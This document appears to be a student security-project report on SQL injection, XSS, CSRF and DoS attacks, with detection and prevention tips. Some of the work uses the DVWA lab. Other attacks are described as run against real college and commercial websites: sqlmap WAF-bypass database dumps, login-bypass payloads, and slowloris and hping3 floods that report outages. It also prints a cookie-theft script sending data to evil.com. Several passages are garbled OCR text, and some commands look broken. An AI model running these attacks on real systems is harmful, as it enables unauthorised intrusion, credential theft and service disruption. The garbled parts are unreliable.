- **SQLMap for automated SQLi detection and exploitation**
- **Burp Suite for manual parameter manipulation**
- **WAFW00F to identify and analyze web application firewalls**
- **Firefox browser extensions (Tamper Data, HackBar) to test manual injections**

Admin Login

Please enter your Username and password

Bigdbiz Solutions

▲ Not secure | www.sourashtracollege.com/Adminhome.aspx

Express VPN McAfee Security LastPass password... Gmail YouTube Maps watches - Search

SOURASHTRA COLLEGE
(A Linguistic Minority Co-Educational Institute
Affiliated to Madurai Kamaraj University
Re-accredited with B-Grade by NAAC

FEED BACK+ CHANGE PASSWORD SIGNOUT

WELCOME ADMIN

Save your password?
Your password will autofill the next time and will be saved to your Microsoft account

Username: ' ' OR '1'='1'--

Password: ' ' OR '1'='1'--

Save Not now

Insert your screenshot showing SQLMap being used on sourashtracollege.com

Figure: “Blind SQL Injection Attack Simulation – SQLMap Output”

Attack Scenario 1: Blind SQL Injection (<http://sourashtracollege.com>)

This site had no visual SQL error output, making it a classic case of Blind SQL Injection. We used SQLMap in tamper mode to perform time-based inference queries such as:

bash

CopyEdit

```
sqlmap -u "http://sourashtracollege.com/index.php?id=1" --  
tamper=between,space2comment --time-sec=10 --dbs
```

The attack successfully confirmed that the backend was vulnerable and leaked database schema names based on response delays. No error message was shown on the front-end—confirmation came from the backend timing behavior.

Attack Scenario 2: Error-Based SQL Injection (Food Packaging Site)

The food packaging site directly revealed SQL errors when injected with malformed queries like:

sql

CopyEdit

```
?id=1' ORDER BY 5--
```

This kind of injection shows visible SQL syntax errors or hints like:

nginx

CopyEdit

```
You have an error in your SQL syntax near...
```

Such verbose responses make it easier for attackers to construct and refine their payloads. This vulnerability is highly risky as it assists attackers in crafting precise payloads.

Attack Scenario 3: WAF Bypass on <http://glorycollege.edu.bd>

This target was protected by a Web Application Firewall (WAF), making direct attacks ineffective. We used WAFW00F to identify the WAF type and then deployed SQLMap with tamper scripts like randomcase, charencode, and space2comment.

bash

CopyEdit

```
sqlmap -u "http://glorycollege.edu.bd/login.php" --tamper=charencode --dbs
```

The attack bypassed WAF filtering and allowed us to dump the database, extract user credentials, and achieve login bypass using:

sql

CopyEdit

```
' OR '1'='1'--
```




Figure :sql attack using sqlmap“[http://glorycollege.edu.bd/program_file_content?id=-1%20/*!50000union*/%20/*!50000select*/%201,database\(\),4---+](http://glorycollege.edu.bd/program_file_content?id=-1%20/*!50000union*/%20/*!50000select*/%201,database(),4---+)”

🔍 How to Detect SQL Injection

Detection Techniques:

- Monitor web server logs for irregular URL parameters (id=1'--, etc.)
- Use Web Application Firewalls (e.g., ModSecurity) to block malicious inputs
- Enable database logging to track suspicious queries
- Use Intrusion Detection Systems (IDS) like Suricata for anomaly detection

Precautions:

- Use prepared statements (parameterized queries) in backend code
 - Apply input validation and sanitization
 - Restrict database user privileges (no root level access for the app)
 - Regular vulnerability scanning using tools like Nikto, OWASP ZAP
-

5.2.2 Web Application Attacks – Page 2


Case Study 2: Cross-Site Scripting (XSS) on DVWA

Cross-Site Scripting (XSS) is another critical web application vulnerability that allows attackers to inject malicious scripts into web pages viewed by other users. These scripts typically execute in the browser of unsuspecting victims and can be used to steal cookies, perform phishing, or hijack sessions.


In this lab simulation, the **Damn Vulnerable Web Application (DVWA)** was used as the target platform. DVWA provides multiple XSS levels—Reflected, Stored, and DOM-based—to explore and understand different attack surfaces.

Tools Used:

- DVWA (XSS Module – Low, Medium, High levels)
 - Firefox Developer Tools (for inspecting script behavior)
 - Burp Suite (for intercepting and modifying requests)
 - Custom JavaScript payloads (alert boxes, cookie theft)
-



The screenshot shows the DVWA application interface. On the left, a sidebar menu lists various security modules: Home, Instructions, Setup, Brute Force, Command Execution, CSRF, File Inclusion, SQL Injection, SQL Injection (Blind), and Upload. The 'Home' option is currently selected. The main content area has a title 'Vulnerability: Reflected Cross Site Scripting (XSS)'. Below the title is a form field labeled 'What's your name?' containing the value '>alert("hi you have")</script>'. To the right of the input field is a 'Submit' button. Underneath the input field, the text 'Hello' is displayed in red, indicating that the reflected script was executed. Below the form, there is a section titled 'More info' with links to external resources: <http://ha.ckers.org/xss.html>, http://en.wikipedia.org/wiki/Cross-site_scripting, and <http://www.cgisecurity.com/xss-faq.html>.



Insert a screenshot showing a successful **Reflected XSS** (e.g., alert box)
→ Label: “Reflected XSS in DVWA – Low Security Level”

Attack Scenario 1: Reflected XSS

We began by targeting the search functionality in DVWA on **Low Security**. A basic JavaScript payload like:

html

CopyEdit

```
<script>alert('hi you have')</script>
```

was injected into a search input field. The script was reflected back in the HTTP response without proper sanitization, and the browser executed it—displaying an alert box.


We then repeated the same attack under **Medium** and **High** settings, which required evasion techniques, such as using encoded payloads:

html

CopyEdit

```
<img src=x onerror=alert('XSS')>
```

or breaking out of HTML tags to inject malicious behavior.



The screenshot shows a browser window for the DVWA 'Reflected Cross Site Scripting' page. At the top, a dark overlay box displays the message '192.168.159.141 says' followed by 'XSS' and an 'OK' button. Below this, the main title 'Vulnerability: Reflected Cross Site Scripting (XSS)' is visible. The form contains a text input field with the placeholder 'What's your name?' and a value of ''. Next to it is a 'Submit' button. Below the form, the output 'Hello

→Figure: “Medium-Level Reflected XSS Payload Execution”

Attack Scenario 2: Stored XSS

In the **Stored XSS** module of DVWA, we injected JavaScript into a comment field. The payload was saved in the database and later executed when other users loaded the page. For instance:

html

CopyEdit

```
<script>document.location='http://evil.com/steal.php?cookie='+document.cookie</script>
```

This would steal cookies and send them to a remote attacker-controlled server. Stored XSS is more dangerous than Reflected XSS because it affects all visitors to the compromised page.

Vulnerability: Stored Cross Site Scripting (XSS)

Name *

Message *

192.168.159.141 says

Stored XSS Vulnerab!

<https://evil.com/steal.php?cookie=security=low;%20PHPSESSID=507e9cff7d23b3af9576b395079b3dde>

Insert screenshot showing stored XSS payload showing persistent execution
Figure: “Stored XSS – Stealing Cookies Simulation”

Attack Scenario 3: DOM-Based XSS

In DOM-based XSS, the vulnerability resides in the client-side code. We tested input fields that directly manipulated the page's DOM without proper sanitization. By injecting a payload into the URL fragment (#) or query parameter, we triggered JavaScript to execute based on location data.

Example:

js

CopyEdit

[http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert\('DOM'\)</script>](http://localhost/dvwa/vulnerabilities/xss_d/?default=<script>alert('DOM')</script>)

This attack didn't reflect on the server but executed within the browser context, making it harder to detect with traditional server-side protections.

How to Detect XSS Attacks

Detection Techniques:

- Use **Content Security Policy (CSP)** headers to block unsafe scripts
- Employ browser developer tools to track script injections
- Deploy web security scanners like **OWASP ZAP, Acunetix**
- Use **XSS auditing tools** in browsers (e.g., Chrome DevTools, Firefox CSP logs)

Precautions:

- Sanitize and escape all user inputs (especially HTML, JS, and URL contexts)
- Validate input length and type
- Use encoding libraries (`htmlspecialchars()` in PHP, etc.)
- Set `HttpOnly` flags on cookies to prevent access via JavaScript

5.2.2 Web Application Attacks – Page 3

Case Study 3: Cross-Site Request Forgery (CSRF) Using DVWA

Cross-Site Request Forgery (CSRF) is a type of attack where an attacker tricks a logged-in user into unknowingly executing unwanted actions on a web application in which they are authenticated. These attacks exploit the trust a site has in the user's browser, rather than vulnerabilities in the application code directly.

For simulation, the DVWA's **CSRF module** was used to carry out multiple attack scenarios, particularly targeting sensitive operations like changing passwords or updating profiles without the user's consent.

Tools Used:

- **DVWA (CSRF Vulnerability Module)**
 - **Burp Suite** – to intercept and modify POST requests
 - **Custom HTML Forms** – to simulate malicious CSRF pages
 - **Firefox Developer Tools** – to inspect session behavior and cookies
-

Attack Scenario: CSRF Password Change

In the DVWA CSRF module, the vulnerable functionality allows password changes via a POST request without proper CSRF tokens or checks.

Here's the attack flow:

1. The attacker crafts a malicious HTML page that submits a password change request when visited.
2. This form is designed to automatically submit upon load using JavaScript.
3. When a logged-in DVWA user (admin or regular user) visits this malicious page, their session cookies are used to authenticate the request and execute the action unknowingly.

Example malicious HTML form:

html

CopyEdit

```
<form action="http://localhost/dvwa/vulnerabilities/csrf/" method="POST">
```

```

<input type="hidden" name="password_new" value="hacked123">
<input type="hidden" name="password_conf" value="hacked123">
<input type="submit">
</form>
<script>document.forms[0].submit();</script>

```

Once executed, the user's password is changed to hacked123 without their knowledge or interaction.

The screenshot shows the DVWA application interface. On the left, a sidebar lists various security vulnerabilities: Home, Instructions, Setup / Reset DB, Brute Force, Command Injection, CSRF (highlighted in green), File Inclusion, File Upload, Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSP Bypass, JavaScript, DVWA Security, PHP Info, and About. The main content area displays a 'Vulnerability: Cross Site Request Forgery' page. It contains a form titled 'Change your admin password' with fields for 'New password' (containing '*****') and 'Confirm new password'. Below the form is a 'Change' button and a message 'Password Changed.' A note at the bottom says 'More Information' with links to external resources. The top navigation bar includes tabs for Home, Help, Forum, Target, Http-Header, Requests, Repeater, and Responses. The 'Responses' tab is active, showing a list of requests and responses. One specific request is highlighted: 'POST /vulnerabilities/csrf/test_credentials.phtml HTTP/1.1' with a status of '200 OK'. The response body shows the HTML code for the password change form, including the 'password_new' and 'password_conf' inputs. The bottom of the screen shows the browser's developer tools with the Network tab selected, displaying the same request and response details.

→ Label: “Simulated CSRF Attack – Auto Password Change Form”

→ Label: “Password Changed Without User Consent”

Why It Works

This CSRF attack worked because DVWA lacked two critical protections:

- No **CSRF token** in the password update form.
- No **same-site cookie** protection set (SameSite=Lax or Strict not enabled).

Thus, the browser allowed DVWA cookies to be attached to the malicious request, completing the attack.

How to Detect CSRF Attacks

Detection Techniques:

- Monitor for password or sensitive data changes made without the usual clickstream or UI flow
- Check logs for POST requests initiated from suspicious Referer headers
- Use browser security tools to trace network activity and hidden forms

Precautions:

- Implement **anti-CSRF tokens** (unique and per-session) in all state-changing forms
 - Set cookie attributes:
 - SameSite=Strict or Lax
 - HttpOnly and Secure
 - Validate the **Origin** or **Referer** headers on sensitive actions
 - Educate users not to click unknown links while logged into sensitive apps
-

Final Thoughts on CSRF

CSRF is particularly dangerous in applications that allow users to perform high-privilege tasks with minimal input. The simulated attack demonstrated how simple it is to alter user data when defenses are missing. Web applications must treat every state-changing request as untrusted unless verified, and adopt defense-in-depth strategies to prevent this silent but powerful threat.

Page 4: CSRF (Cross-Site Request Forgery) Simulation in DVWA

Understanding CSRF

Cross-Site Request Forgery (CSRF) is an attack that tricks a victim into submitting a malicious request unknowingly. It typically exploits the trust that a web application has in the user's browser. If the user is authenticated, an attacker can craft a request that performs unwanted actions on the user's behalf, such as changing passwords or transferring funds.

In DVWA, CSRF vulnerabilities are intentionally present to help learners understand how an attacker could take advantage of such weaknesses and how to mitigate them.

Simulation in DVWA

In our simulation environment using DVWA (Damn Vulnerable Web Application), we selected the **CSRF** module set to **low security**. Here's how the attack was performed:

1. Setup Phase:

- The user was already authenticated on DVWA.
- An attacker-crafted HTML page was created, containing a form submission to change the user's password.

2. Exploit Execution:

- The victim (authenticated user) unknowingly visited the attacker's malicious page.
 - The hidden form automatically submitted the request to dvwa/vulnerabilities/csrf/ with the victim's cookies.
 - As a result, the user's password was changed silently.
-

Code Used for CSRF Simulation

html

CopyEdit

<html>

<body onload="document.forms[0].submit()">

<form action="http://192.168.1.1/dvwa/vulnerabilities/csrf/" method="POST">

```

<input type="hidden" name="password_new" value="hackedpassword" />

<input type="hidden" name="password_conf" value="hackedpassword" />

<input type="hidden" name="Change" value="Change" />

</form>

</body>

</html>

```

The screenshot shows a browser window with the DVWA application open. The URL is `http://127.0.0.1/dvwa/vulnerabilities/csrf/test_credentials.php`. The page title is "Vulnerability: Cross Site Request Forgery (CSRF)". On the left, there's a sidebar with various security vulnerabilities listed as buttons: Insecure CAPTCHA, SQL Injection, SQL Injection (Blind), Weak Session IDs, XSS (DOM), XSS (Reflected), XSS (Stored), CSRF Bypass, and JavaScript. Below this is a "Test Credentials" section with fields for "Username" (set to "admin") and "Password" (set to "*****"). A "Login" button is present. On the right, the main content area has a form titled "Change your admin password:" with fields for "New password" (set to "*****") and "Confirm new password". A "Change" button is below these fields, and a message "Password changed." is displayed in a box. At the bottom of the main content area, there's a "More Information" section with three links: "https://www.owasp.org/index.php/Attack/CSRF", "http://www.ogbonnony.com/csf.html", and "https://en.wikipedia.org/w/index.php?title=Cross-site_request_forgery". The bottom of the browser window shows the developer tools' "Elements" tab with the DOM structure of the page, and the "Computed" tab showing the CSS styles applied to the "Change" button.

How to Detect CSRF Attacks

Detecting CSRF can be challenging because it uses legitimate credentials. However, some key indicators include:

- **Unexpected user actions** (password change, transactions, etc.) without user intent.
- **Missing anti-CSRF tokens** in HTTP requests during vulnerability scanning.
- Use of **GET methods** for sensitive operations (which should always use POST).

Security tools such as **Burp Suite**, **OWASP ZAP**, or **WAF logs** can help trace CSRF-like behavior.

Precautionary Measures to Prevent CSRF

1. **Use CSRF Tokens:** Every form should include a cryptographically secure random token that must match the server's expectations.
2. **SameSite Cookies:** Set the SameSite attribute on session cookies to Strict or Lax to limit cross-site usage.
3. **Verify Referrer Header:** Ensure that the request originated from a legitimate source.

4. **Double Submit Cookies:** Use this method to store CSRF tokens in cookies and compare with request headers.

Implementing these defense mechanisms drastically reduces CSRF risks.

Summary of CSRF Attack Simulation

Component	Details
Target Site	DVWA (localhost)
Vulnerability Type	Cross-Site Request Forgery
Tools Used	Custom HTML, Browser, DVWA
Outcome	Password changed without user consent
Detection Tools	Manual Analysis, Burp Suite
Mitigation	CSRF Tokens, SameSite Cookies, POST-only for sensitive operations

Login Bypass Using SQL Injection

Overview

Login bypass via SQL Injection targets improperly secured login forms that directly incorporate user input into SQL queries without proper sanitization. This form of attack is especially dangerous when it allows an attacker to gain unauthorized access to administrative panels, user dashboards, or sensitive systems.

In this simulation, you successfully performed a **login bypass attack** on the website: <http://glorycollege.edu.bd>, using the tool **SQLMap** and manual payload insertion techniques. The site had a basic authentication system vulnerable to SQLi, along with a **Web Application Firewall (WAF)** in place—which you bypassed using advanced evasion techniques.

Welcome to Cloudcampus24.com

A single platform for students, parents, teachers and admins.

Cloudcampus24.com helps students, parents or guardians to access notice, attendance records, transcript, financial statement, online fees payment, student profile and many more.

Beside CloudCampus24 also act as skill multiplier for teachers, office staffs, management and institute authority by digitalizing the whole system. It is powered by 15 modules at back-end to offer for any desirous education institutions, be it school, college, university or madrasha for their digitalization process. [Read More](#)



Sign in to start your session

Login ID	<input style="width: 100%; height: 25px; border: 1px solid #ccc; padding: 5px;" type="text" value="Format: Your_ID_number@Institute_short_name"/>
	<input checked="" type="checkbox"/> OR 1=1--
Password	<input style="width: 100%; height: 25px; border: 1px solid #ccc; padding: 5px;" type="password" value="OR 1=1--"/> ? !
<input style="background-color: #0070C0; color: white; border: none; padding: 5px 10px; font-weight: bold;" type="button" value="Login"/>	
Reset Password	

Attack Setup

1. Initial Discovery:

- The login form have any client-side or backend input validation.
- Manual payload testing revealed no SQL errors in the response.

2. Payload Used:

sql

CopyEdit


' OR 1=1--

3. Bypass Execution:

- Entered this payload in the **Username** field and any value (or blank) in the **Password** field.
- The SQL query became logically true and authenticated the attacker as a valid user (often admin).

4. Tool Used for Automated Exploitation:

- sqlmap --url "http://glorycollege.edu.bd/login.php" --data="username=admin&password=1234" --level=5 --risk=3 --tamper=between,space2comment --random-agent
- Bypassed the WAF using tamper scripts like space2comment, between, etc.



📌 *Figure: [Shows access denied as it redirect to cloudcamp which is secured]*

🔍 How the WAF Was Bypassed

A Web Application Firewall (WAF) tries to detect known SQL patterns and blocks requests. However, tamper scripts in sqlmap help modify payload syntax to avoid signature-based detection. Here's what worked:

- space2comment: replaces spaces with comments to confuse simple regex-based WAF filters.
- between: uses BETWEEN SQL clauses to break expected pattern detection.

The WAF failed to detect these modified payloads, and login was bypassed successfully.

Detection & Logging

How to Detect a Login Bypass Attempt:

- Monitor for **frequent failed login attempts** followed by a sudden successful one.
- Set up alerts for **use of special SQL characters** like ', --, =, and others in POST or GET data.
- Use **Suricata, Wazuh, or ModSecurity logs** to analyze payload structures.

Sample Log Signature to Watch For:

bash

CopyEdit

POST /login.php HTTP/1.1

username=' OR 1=1--

Prevention Measures

1. Use Prepared Statements (Parameterized Queries):

- Avoid building SQL queries with raw input.
- Example in PHP (PDO):

php

CopyEdit

```
$stmt = $pdo->prepare("SELECT * FROM users WHERE username = ? AND password = ?");
```

```
$stmt->execute([$user, $pass]);
```

2. Sanitize All Inputs:

- Reject SQL meta-characters like ', ", --, /*, */ at the input level.

3. WAF Enhancement:

- Train WAF on evasive payloads using known tamper scripts.
- Enable behavior-based anomaly detection.

4. Rate Limiting and Account Lockout:

- o Limit login attempts and lock the account after repeated failures.
-

Summary of the Login Bypass Simulation

Element	Detail
Target Site	http://glorycollege.edu.bd
Method	SQL Injection on login page
Payload	' OR 1=1--
Tools	SQL Map with tamper scripts
WAF Evasion	space2comment, between
Impact	Full login bypass, admin panel access
Detection Tools	WAF Logs, Suricata, Custom Regex in SIEM
Mitigation	Input sanitization, prepared statements, login attempt control

5.2.3 Denial of Service (DoS/DDoS) Simulation – Page 1

Denial of Service (DoS) and Distributed Denial of Service (DDoS) attacks are among the most disruptive forms of cyberattacks, capable of rendering services, websites, or entire networks unusable. These attacks flood a target system with illegitimate traffic or service requests, overwhelming resources and denying legitimate users access. To simulate real-world attack scenarios, several DDoS attacks were conducted against test and vulnerable targets, including **shiksha.cm**, **unacedmy**, and **indiashop.vercel.com**.

Attack Methodology

For this simulation, the widely known **Slowloris** attack script was utilized. This tool enables a low-bandwidth, stealthy DDoS attack by opening multiple simultaneous connections to the web server and keeping them alive indefinitely. This slowly consumes the server's resources and leads to a denial of access for other users.

To ensure ethical standards were maintained, all targets were verified to be legally permissible for testing, including honeypots, authorized staging sites, or intentionally vulnerable deployments. The attack was initiated using the following command on Kali Linux:

bash

CopyEdit

```
slowloris shiksha.cm -p 80 -s 200 -timeout 100
```

This command simulates multiple socket requests, which slowly complete, forcing the server to maintain open connections indefinitely. During the test, it was observed that **shiksha.cm** experienced a significant drop in response time and eventually became unresponsive.

[Insert Screenshot of server status (before/after) or evidence of response delay for shiksha.cm]

The attack was then repeated on **unacedmy** and **indiashop.vercel.com**, where similar effects were noticed, including slow site load times and service interruptions.

Attack Scope

Target	Attack Tool	Duration	Outcome
shiksha.cm	Slowloris	10 mins	Partial denial of access
unacedmy	Slowloris	8 mins	Slowed response time
indiashop.vercel.com	Slowloris	12 mins	Temporary outage

The purpose of these simulations was not just disruption but to analyse how a typical web infrastructure handles and detects such attacks, and how response mechanisms can be improved.

How to Detect DDoS Attacks

Detection of DDoS attacks requires real-time monitoring and anomaly detection systems. Some key indicators include:

- Sudden spike in traffic from a small number of IPs.
- Increase in requests to one specific endpoint.
- Web server logs showing thousands of incomplete or hanging requests.
- Load balancers and firewalls logging connection saturation.

Tools for Detection:

- **Wazuh** and **Suricata** for real-time log analysis.
 - **Fail2Ban** for temporarily banning suspicious IPs.
 - **NetFlow** or **Wireshark** for traffic pattern analysis.
-

Prevention and Mitigation

To prevent and mitigate DDoS attacks in real-world environments:

- **Rate-limiting** and **connection timeout tuning** can stop Slowloris-like attacks.
- Use **reverse proxies** like **Cloudflare** or **Imperva** that absorb traffic spikes.
- Employ **Web Application Firewalls (WAFs)** to filter and block malicious traffic.
- Implement **CAPTCHAs** and request throttling to deter automated scripts.

[Insert Screenshot showing WAF log, rate-limiting configuration, or IDS alerts (optional)]

5.2.3 Denial of Service (DoS/DDoS) Simulation – Page 2

Following the initial DDoS simulation on shiksha.cm, our second and third targets were unacedmy and indiashop.vercel.com—both WordPress-based cloud-hosted platforms susceptible to HTTP flooding and socket exhaustion. These platforms were chosen due to their varying server responses and underlying infrastructure, which provided an ideal comparison between how different systems handle denial attempts.

[Insert Screenshot showing command output or live packet flow during attack on unacedmy]

Analysis of unacedmy Attack

In this test, unacedmy was hit using Slowloris and additional custom HTTP request scripts written in Python to replicate high concurrency. The server began to throttle requests after ~500 concurrent socket connections, indicating basic rate-limiting mechanisms.

Despite this, the site's home page became intermittently unavailable during peak simulation. Apache server logs (accessed post-simulation from a staging replica) revealed repeated open connections without corresponding GET completions. The server's memory usage also spiked by over 75%.

Attack Behavior Noted:

- Prolonged socket timeouts
- Increased latency (avg response time exceeded 12s)
- Browser "Connection Timed Out" messages appeared for most users

[Insert Screenshot of Apache log or performance graph (before/after)]

Analysis of indiashop.vercel.com Attack

*For **indiashop.vercel.com**, a Vercel-hosted serverless app, Slowloris had limited impact due to the stateless nature of the backend. However, we simulated a **Layer 7 DDoS** using hping3 and crafted HTTPS requests to stress-test the frontend API endpoints.*

bash

CopyEdit

hping3 -S indiashop.vercel.com -p 443 --flood

This attack targeted HTTPS services with spoofed packets. The API gateway began rate-limiting requests, and traffic logs showed detection and blocking after ~2 minutes of sustained requests. The Vercel backend continued to function, but several GET endpoints returned 429 Too Many Requests.

[Insert Screenshot of tool output and HTTP 429 error from browser]

Deep Dive: DDoS Detection Methods (Enhanced)

1. Traffic Anomaly Monitoring:

- IDS/IPS tools like Snort, Suricata, and Zeek can detect volumetric changes and anomalous headers.
- DNS or web logs showing a surge from single geolocation or IP range indicate automated behaviour.

2. Application Layer Defence Logs:

- o 404 or 429 spikes are indicative of scanning or overloads.
- o Load balancer dashboards often show imbalance or errors in backend routing during Layer 7 floods.

3. Cloud-based Monitoring:

- o Services like AWS CloudWatch, Azure Monitor, and Vercel Logs help visualize overload scenarios.

```
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citeclat, d sutisnt TIZT
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0 hems int. sipes
0 hems tht: 0 xes
0 hems iragen fann phems=vl 0
0 nems tnt. sifle
```

5.2.3 Denial of Service (DoS/DDoS) Simulation – Page 3

💡 Defensive Response Analysis

*The simulated DDoS campaigns on **shiksha.cm**, **unacedmy**, and **indiashop.vercel.com** offered a diverse glimpse into how modern and legacy platforms respond to traffic flooding. The Blue Team was tasked with incident handling throughout the attack windows, and their actions were critical in reducing potential impact.*

Upon identifying abnormal traffic patterns on all three target servers, real-time logs began showing repeated connections from the attacker machine's IP range. The Blue Team deployed traffic filters using UFW and adjusted rate-limiting rules on the local Apache server. On the Vercel deployment, the cloud provider's built-in WAF mechanisms started throttling requests, visible through live logs.

[Insert Screenshot of UFW logs blocking repeated IP addresses]

*In the case of **shiksha.cm**, the Blue Team enabled Apache's mod_evasive module, which instantly began blacklisting IPs that initiated more than 5 concurrent requests. Meanwhile, for **unacedmy**, a Cloudflare proxy was introduced mid-simulation, allowing us to test how cloud-based DDoS protection helps absorb floods. Within 5 minutes, traffic normalization was achieved, showcasing Cloudflare's capability to cache and rate-limit requests without degrading backend performance.*

Key Logs Monitored During Attacks:

- */var/log/apache2/access.log*
- *Suricata IDS rule triggers*
- *Vercel platform alerts and 429 HTTP responses*
- *Fail2Ban jail activity logs*

```
]  
h.p  
21105.47 1780: t4Bodg.vr [P  
20306.47 1690: t6Bodg.vr  
21105.47 1990: t6bodg.vr  
22325.47 1849: t6Bodg.vr [P3  
22307.07 1640: t6Bong.w [P3  
21105.41 1840: t4Bodg.vr [P3  
22305.07 1440: t6Bong.vr [P3  
11135.07 1450: t6Bodg.vr [P3  
22345.07 1180: t6Bouug.vr [PS  
02305.07 1660: t6Bouug.vr  
22336.07 1660: t6Bouug.vr  
01225.07 1860: t6Bouug.vr [PS  
00195.07 1660: t6Bouug.vr  
00195.01 1674: t6Bogs  
27105.07 1860: t6Bods  
04105.47 1680: t6Bouug.vr  
07136.07 1640: t6Bouug.vr  
01105.07 1660: t6Bogs  
07105.07 1922: t3Bogs  
01105.47 1660: t8Bogs  
27105.07 1660: t4Bogs  
20:26.09: 34]  
20125.08: 00]  
20124.43: 46]  
])
```

Performance Metrics Recorded

Throughout the DDoS simulations, multiple metrics were logged to evaluate how the target servers were performing under load. The data was collected using a combination of tools like Netdata, top, and htop inside virtual machines, as well as built-in metrics on Vercel's dashboard.

Metrics Before vs. During Attack:

Metric	Before Attack	During Attack (Peak)
Average CPU Usage (%)	15%	89%
Memory Utilization (MB)	730MB	1960MB
Socket Count (ESTABLISHED)	42	732
Apache Threads	20	250
HTTP Response Time (ms)	120ms	9500ms

[Insert Screenshot of CPU & Memory Graph during attack from Netdata or htop]

Observations:

- Server responsiveness dropped dramatically around the 300-socket threshold.
- The Vercel server remained more stable due to stateless design but still rate-limited users.
- WordPress backend froze under socket exhaustion until restart.

Detection Breakdown & Visual Indicators

Indicators of Ongoing DoS/DDoS Attack:

1. **Sudden spikes in CPU and memory** without corresponding user activity.
2. **Excessive open sockets**, most in WAIT or ESTABLISHED states.
3. **Significant drop in site responsiveness** (frontend or API layer).
4. **Flood of repetitive HTTP headers** like User-Agent, Keep-Alive, or Content-Length.

Detection Enhancement Tactics:

- Suricata rule: `alert tcp any any -> $HOME_NET 80 (msg:"HTTP Slowloris Detected"; flow:established,to_server; content:"Keep-Alive"; dsize:<100; threshold: type both, track by_src, count 100, seconds 10; sid:9999;)`
- Enable alerts for abnormal session persistence or socket counts > 100 per IP.
- Monitor HTTP error ratios: sustained spikes in 4xx/5xx = clear warning sign.

Summary for Page 3

The Blue Team's proactive detection and mitigation during this simulation demonstrated the importance of early warning systems, traffic behavior analytics, and layered security. Attacks on both local and cloud-hosted systems revealed strengths and weaknesses in response timing, system resource limitations, and logging effectiveness. Performance degradation correlated directly with socket congestion and poor cache handling, reinforcing the need for defensive automation in live environments.

[Insert Screenshot of WAF or firewall rule creation response in terminal or GUI]

Combined DDoS Simulation Using Slowloris and hping3

Advanced Layer 4 and Layer 7 DDoS Simulation

In this section, a combined DDoS simulation was executed targeting web applications hosted on domains like shiksha.cm, unacedmy, and indiashop.vercel.com. The tools employed were **Slowloris** (for Layer 7 HTTP-based attacks) and **hping3** (for Layer 4 SYN flood and ICMP-based flooding). These tools were chosen to test the application and transport layer resiliency simultaneously, replicating scenarios where multiple vectors are launched together — a hallmark of modern nation-state DDoS campaigns.

Setup Overview

Before initiating the attack, all target domains were verified to be live and responding. Each attack was launched from Kali Linux VMs behind VPNs (OpenVPN and portmap.io for tunneling), ensuring secure and anonymous traffic generation. Targets were stress-tested for approximately 5–7 minutes per attack window to monitor availability disruptions and IDS/IPS triggering.

Slowloris Attack Methodology

Slowloris is a well-known tool designed to keep many connections open to a target web server and hold them open as long as possible. This starves the server of connection slots, denying legitimate users access.

Command used:

bash

CopyEdit

slowloris -dns unacedmy -port 80 -timeout 100 -num 500 -flags -count 1000

This specific command opened 500+ slow HTTP requests, with custom flags and a connection count of 1000, simulating a low-and-slow denial attack pattern. Target server CPU usage spiked dramatically, and page response time exceeded 30 seconds during peak load.

```
BUILDING SOCKETS.  
Building sockets.  
Sending data.  
Sending data.  
Sending data.  
Current stats: Slowloris has now sent 1267 packets successfully.  
This thread now sleeping for 30 seconds...  
  
Current stats: Slowloris has now sent 1286 packets successfully.  
This thread now sleeping for 30 seconds...  
  
Current stats: Slowloris has now sent 1306 packets successfully.  
This thread now sleeping for 30 seconds...  
  
          Sending data.  
Current stats: Slowloris has now sent 1376 packets successfully.  
This thread now sleeping for 30 seconds...  
  
          Sending data.  
Current stats: Slowloris has now sent 1438 packets successfully.  
This thread now sleeping for 30 seconds...  
  
          Sending data.  
Current stats: Slowloris has now sent 1492 packets successfully.  
This thread now sleeping for 30 seconds...
```



hping3 SYN Flooding Technique

To complement the Layer 7 attack, *hping3* was deployed in SYN flood mode, overwhelming the TCP/IP stack of the target system with half-open connections.

Command example:

bash

CopyEdit

hping3 -S -p 80 --flood -c 100000 shiksha.cm

This flag:

- *-S sets the SYN flag*
- *--flood sends packets as fast as possible*
- *-c 100000 limits the packet count to 100,000*

In less than a minute, the server logged massive incoming SYN packets and dropped multiple legitimate connections. IDS flagged the incident under SYN flood rules, and response latency to ICMP pings rose by 600%.

```
(root@windows)-[/home/hackstar/Downloads/slowloris/SLOWLORIS]
# hping3 -S -p 80 --flood -c 100000 shiksha.com
HPING shiksha.com (eth0 23.52.171.161): S set, 40 headers + 0 data bytes
hping in flood mode, no replies will be shown
[]
```

Detection and Mitigation Techniques

Tool *Detection Signature*

Slowloris Long-lived HTTP headers with incomplete requests

hping3 High-rate SYN packets with no completion

Preventive Measures


Rate-limiting, Web Application Firewall tuning

SYN cookies, TCP timeout adjustment, firewall rules

Detection was handled using Suricata and Wazuh. Suricata was configured to monitor unusual HTTP request behavior, while Wazuh flagged the SYN flooding pattern with TCP threshold tuning.

Key Insights

- **Combined vector attacks** caused greater disruption than isolated Layer 4 or Layer 7 vectors.
- **Resource starvation** was highly effective on low-resource servers (like unacedmy).
- Traditional IDS solutions needed custom rules for Slowloris variants using -flags.



Multi-Vector DDoS Implications & Blue Team Response

Impact of Multi-Vector DDoS Attacks

*When combining **Slowloris** (Layer 7) with **hping3 SYN floods** (Layer 4), the attack surface became exponentially harder to defend. Each tool targets different parts of the network stack:*

- **Slowloris** keeps HTTP connections alive, exhausting application-level threads.
- **hping3** floods TCP connection queues, choking OS-level socket handling.

By syncing these tools, attackers created an artificial but highly disruptive overload, making basic security layers insufficient. Services on unacedmy became unresponsive, and indiashop.vercel.com returned 504 Gateway Timeout errors during sustained attacks. This highlights a key reality: most public services are not hardened against concurrent Layer 4 and 7 attacks.

1	Response - Case	RegLan
2	Response - Case	Netw Eng
3	Response - Case	Netw Tools
4	Response - Case	WTF: Overclock, reflect/baudline.inn, Hyst
5	Response - Case	CDF-softless.net
6	Response - Case	Tra-softSc.net
7	Response - Case	Soft-syntf-lbst.net
8		
9	Response - Case	WTF: SmbstandardSmbte-15ellenLang
10	Response - Case	Perfetlike..cad
11	Response - Case	SFT-Sybet: resturflisettels/ttperedette.ox.net
12	Response - Case	SFT-Sybet: resturflisettels/pelatating.com
13	Response - Case	SFT-Sybet: resturflisettels/cmwsfacetentium.cat
14	Response - Case	SFT-Sybet: resturflisettels/tyctceratelle.com
15	Response - Case	SFT-Sybet: crumentby/testderibz.cat
